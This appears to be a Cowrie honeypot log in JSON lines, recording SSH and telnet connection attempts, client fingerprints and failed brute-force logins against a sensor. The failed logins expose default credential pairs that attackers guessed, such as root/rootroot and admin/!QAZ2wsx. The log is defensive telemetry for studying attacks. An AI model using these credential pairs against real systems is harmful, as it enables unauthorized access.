{"eventid":"cowrie.session.closed","duration":36.90480947494507,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:00.839943Z","src_ip":"172.81.62.90","session":"1f71054a29ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.399303Z","src_ip":"101.36.122.139","session":"d3edc9a98a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":35242,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eb037fa54d8","protocol":"ssh","message":"New connection: 73.36.177.174:35242 (10.17.0.5:22) [session: 8eb037fa54d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.503609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.509024Z","src_ip":"73.36.177.174","session":"8eb037fa54d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58331346511841,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.514654Z","src_ip":"172.81.62.90","session":"113c5fd7a4b1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.557085Z","src_ip":"73.36.177.174","session":"8eb037fa54d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:01.760609Z","src_ip":"73.36.177.174","session":"8eb037fa54d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:02.620351Z","src_ip":"101.36.122.139","session":"d3edc9a98a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:02.815615Z","src_ip":"73.36.177.174","session":"8eb037fa54d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword@1234","message":"login attempt [root/newpassword@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:03.703892Z","src_ip":"27.71.230.31","session":"42c56b4f20c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:03.801776Z","src_ip":"91.92.40.36","session":"47a0785469a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":11250,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ad5ef6f8ca6","protocol":"ssh","message":"New connection: 150.136.214.177:11250 (10.17.0.5:22) [session: 6ad5ef6f8ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:03.855079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:03.929416Z","src_ip":"150.136.214.177","session":"6ad5ef6f8ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:03.957104Z","src_ip":"150.136.214.177","session":"6ad5ef6f8ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"1234","message":"login attempt [sonar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:04.054067Z","src_ip":"150.136.214.177","session":"6ad5ef6f8ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:05.084028Z","src_ip":"150.136.214.177","session":"6ad5ef6f8ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:05.582279Z","src_ip":"91.92.40.36","session":"47a0785469a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:05.871171Z","src_ip":"27.71.230.31","session":"42c56b4f20c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57842,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1186200e9cf","protocol":"ssh","message":"New connection: 91.92.40.36:57842 (10.17.0.5:22) [session: e1186200e9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:06.665818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:07.605458Z","src_ip":"91.92.40.36","session":"e1186200e9cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:07.608755Z","src_ip":"91.92.40.36","session":"e1186200e9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.649516582489014,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:10.907213Z","src_ip":"172.81.62.90","session":"e7bdab552130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1557822227478,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:11.553779Z","src_ip":"172.81.62.90","session":"4d2efcd5516e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:11.822364Z","src_ip":"91.92.40.36","session":"e1186200e9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:14.203541Z","src_ip":"91.92.40.36","session":"e1186200e9cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57890,"dst_ip":"10.17.0.5","dst_port":22,"session":"f452f1f7a0ee","protocol":"ssh","message":"New connection: 91.92.40.36:57890 (10.17.0.5:22) [session: f452f1f7a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:14.246934Z"}
{"eventid":"cowrie.session.closed","duration":37.208271741867065,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:15.593138Z","src_ip":"172.81.62.90","session":"742d251d2785","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:15.971709Z","src_ip":"91.92.40.36","session":"f452f1f7a0ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:15.974817Z","src_ip":"91.92.40.36","session":"f452f1f7a0ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50380,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc1fc83ad19","protocol":"telnet","message":"New connection: 128.199.8.54:50380 (159.203.135.109:23) [session: 3cc1fc83ad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:17.740718Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29534,"dst_ip":"10.17.0.5","dst_port":22,"session":"f477b5a7242c","protocol":"ssh","message":"New connection: 91.92.40.36:29534 (10.17.0.5:22) [session: f477b5a7242c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:21.553743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:22.584392Z","src_ip":"91.92.40.36","session":"f477b5a7242c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:22.589469Z","src_ip":"91.92.40.36","session":"f477b5a7242c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:24.454325Z","src_ip":"91.92.40.36","session":"f452f1f7a0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:26.740510Z","src_ip":"91.92.40.36","session":"f452f1f7a0ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:26.856606Z","src_ip":"91.92.40.36","session":"f477b5a7242c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55786,"dst_ip":"159.203.135.109","dst_port":23,"session":"626c22268c46","protocol":"telnet","message":"New connection: 128.199.8.54:55786 (159.203.135.109:23) [session: 626c22268c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:26.906744Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":52058,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f058c2d8934","protocol":"ssh","message":"New connection: 102.210.148.92:52058 (159.203.135.109:22) [session: 3f058c2d8934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:27.267515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:27.271861Z","src_ip":"102.210.148.92","session":"3f058c2d8934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:27.505485Z","src_ip":"102.210.148.92","session":"3f058c2d8934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmp123","message":"login attempt [root/tmp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:28.479596Z","src_ip":"102.210.148.92","session":"3f058c2d8934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:28.537989Z","src_ip":"91.92.40.36","session":"f477b5a7242c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.523431301116943,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:29.283927Z","src_ip":"107.6.151.170","session":"d234b2856dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:29.719585Z","src_ip":"102.210.148.92","session":"3f058c2d8934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25078,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b3a57c2a21","protocol":"ssh","message":"New connection: 91.92.40.36:25078 (10.17.0.5:22) [session: 97b3a57c2a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:30.764649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:31.070812Z","src_ip":"91.92.40.36","session":"97b3a57c2a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:31.077790Z","src_ip":"91.92.40.36","session":"97b3a57c2a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openhabian","password":"openhabian","message":"login attempt [openhabian/openhabian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:33.863096Z","src_ip":"91.92.40.36","session":"97b3a57c2a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":39778,"dst_ip":"159.203.135.109","dst_port":22,"session":"91510fe082ba","protocol":"ssh","message":"New connection: 97.74.87.152:39778 (159.203.135.109:22) [session: 91510fe082ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:34.485888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:34.490370Z","src_ip":"97.74.87.152","session":"91510fe082ba","protocol":"ssh"}
